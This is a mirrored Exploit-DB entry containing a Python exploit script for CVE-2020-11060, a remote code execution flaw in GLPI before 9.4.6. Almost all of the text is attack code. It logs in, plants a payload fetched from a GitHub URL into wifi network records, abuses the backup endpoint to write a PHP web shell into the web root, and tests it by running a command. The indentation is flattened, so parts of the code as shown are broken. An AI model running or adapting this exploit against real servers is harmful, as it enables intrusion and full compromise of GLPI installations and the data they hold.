GLPI 9.4.5 – Remote Code Execution (RCE)

  • 作者: Brian Peters
    日期: 2021-06-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49992/
  • # Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE)
    # Exploit Author: Brian Peters
    # Vendor Homepage: https://glpi-project.org
    # Software Link: https://github.com/glpi-project/glpi/releases
    # Version: < 9.4.6
    # CVE: CVE-2020-11060
    
    # Download a SQL dump and find the table offset for "wifinetworks" with 
    # cat <sqlfile> | grep "CREATE TABLE" | grep -n wifinetworks
    # Update the offsettable value with this number in the create_dump function
    # The Nix/Win paths are based on defaults. You can use curl -I <url> and use md5sum to find the path based
    # on the Set-Cookie hash.
    
    #!/usr/bin/python
    
    import argparse
    import json
    import random
    import re
    import requests
    import string
    import sys
    import time
    from datetime import datetime
    from lxml import html
    
    class GlpiBrowser:
    
    def __init__(self, url, user, password, platform):
    self.url = url
    self.user = user
    self.password = password
    self.platform = platform
    
    self.session = requests.Session()
    self.session.verify = False
    requests.packages.urllib3.disable_warnings()
    
    def extract_csrf(self, html):
    return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]
    
    def get_login_data(self):
    r = self.session.get('{0}'.format(self.url), allow_redirects=True)
    
    csrf_token = self.extract_csrf(r.text)
    name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]
    pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]
    
    return name_field, pass_field, csrf_token
    
    def login(self):
    try:
    name_field, pass_field, csrf_token = self.get_login_data()
    except Exception as e:
    print "[-] Login error: could not retrieve form data"
    sys.exit(1)
    
    data = {
    name_field: self.user, 
    pass_field: self.password,
    "auth": "local",
    "submit": "Post",
    "_glpi_csrf_token": csrf_token
    }
    
    r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)
    
    return r.status_code == 302
    
    def wipe_networks(self, padding, datemod):
    r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
    comment = r.content
    
    r = self.session.get('{0}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9'.format(self.url))
    try:
    csrf_token = self.extract_csrf(r.text)
    except Exception as e:
    print "[-] Edit network error: could not retrieve form data"
    sys.exit(1)
    
    webpage = html.fromstring(r.content)
    links = webpage.xpath('//a/@href')
    for rawlink in links:
    if "wifinetwork.form.php?id=" in rawlink:
    	rawlinkparts = rawlink.split("=")
    	networkid = rawlinkparts[-1]
    	print "Deleting network "+networkid
    	
    	data = {
    	"entities_id": "0",
    	"is_recursive": "0",
    	"name": "PoC",
    	"comment": comment,
    	"essid": "RCE"+padding,
    	"mode": "ad-hoc",
    		"purge": "Delete permanently",
    		"id": networkid,
    "_glpi_csrf_token": csrf_token,
    '_read_date_mod': datemod
    }
    
    r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
    
    def create_network(self, datemod):
    r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
    comment = r.content
    
    r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
    try:
    csrf_token = self.extract_csrf(r.text)
    except Exception as e:
    print "[-] Create network error: could not retrieve form data"
    sys.exit(1)
    
    data = {
    	"entities_id": "0",
    	"is_recursive": "0",
    	"name": "PoC",
    	"comment": comment,
    	"essid": "RCE",
    	"mode": "ad-hoc",
    	"add": "ADD",
    "_glpi_csrf_token": csrf_token,
    '_read_date_mod': datemod
    }
    
    r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
    print "[+] Network created"
    print "Name: PoC"
    print "ESSID: RCE"
    
    def edit_network(self, padding, datemod):
    r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
    comment = r.content
    #create the padding for the name and essid
    
    
    r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
    webpage = html.fromstring(r.content)
    links = webpage.xpath('//a/@href')
    for rawlink in links:
    if "wifinetwork.form.php?id=" in rawlink:
    rawlinkparts = rawlink.split('/')
    link = rawlinkparts[-1]
    
    #edit the network name and essid
    r = self.session.get('{0}/front/{1}'.format(self.url, link))
    try:
    	csrf_token = self.extract_csrf(r.text)
    	except Exception as e:
    	print "[-] Edit network error: could not retrieve form data"
    	sys.exit(1)
    	
    	rawlinkparts = rawlink.split("=")
    	networkid = rawlinkparts[-1]
    		
    data = {
    	"entities_id": "0",
    	"is_recursive": "0",
    	"name": "PoC",
    	"comment": comment,
    	"essid": "RCE"+padding,
    	"mode": "ad-hoc",
    	"update": "Save",
    	"id": networkid,
    "_glpi_csrf_token": csrf_token,
    "_read_date_mod": datemod
    }
    r = self.session.post('{0}/front/wifinetwork.form.php'.format(self.url), data=data)
    print "[+] Network mofified"
    print "New ESSID: RCE"+padding
    
    def create_dump(self, shellname):
    path=''
    if self.platform == "Win":
    path="C:\\xampp\\htdocs\\pics\\"
    elif self.platform == "Nix":
    path="/var/www/html/glpi/pics/"
    
    #adjust offset number to match the table number for wifi_networks
    #this can be found by downloading a SQL dump and running cat <dumpname> | grep "CREATE TABLE" | grep -n "wifinetworks"
    r = self.session.get('{0}/front/backup.php?dump=dump&offsettable=312&fichier={1}{2}'.format(self.url, path, shellname))
    
    print '[+] Shell: {0}/pics/{1}'.format(self.url, shellname)
    
    def shell_check(self, shellname):
    r = self.session.get('{0}/pics/{1}?0=echo%20asdfasdfasdf'.format(self.url, shellname))
    print "Shell size: "+str(len(r.content))
    if "asdfasdfasdf" in r.content:
    print "[+] RCE FOUND!"
    sys.exit(1)
    return len(r.content)
    
    def pwn(self):
    if not self.login():
    print "[-] Login error"
    return
    else:
    print "[+] Logged in"
    
    	#create timestamp
    	now = datetime.now()
    	datemod = now.strftime("%Y-%m-%d %H:%M:%S")
    
    #create comment payload
    
    tick=1
    	while True:
    	#create random shell name
    letters = string.ascii_letters
    	shellname = ''.join(random.choice(letters) for i in range(8))+".php"
    	
    	#create padding for ESSID
    	padding = ''
    for i in range(1,int(tick)+1):
    padding+=str(i)
    	
    	self.wipe_networks(padding, datemod)
    	self.create_network(datemod)
    self.edit_network(padding, datemod)
    self.create_dump(shellname)
    self.shell_check(shellname)
    	print "\n"
    raw_input("Press any key to continue with the next iteration...")
    tick+=1
    
    return
    
    if __name__ == '__main__':
    
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", help="Target URL", required=True)
    parser.add_argument("--user", help="Username", required=True)
    parser.add_argument("--password", help="Password", required=True)
    parser.add_argument("--platform", help="Win/Nix", required=True)
    
    args = parser.parse_args()
    
    g = GlpiBrowser(args.url, user=args.user, password=args.password, platform=args.platform)
    
    g.pwn()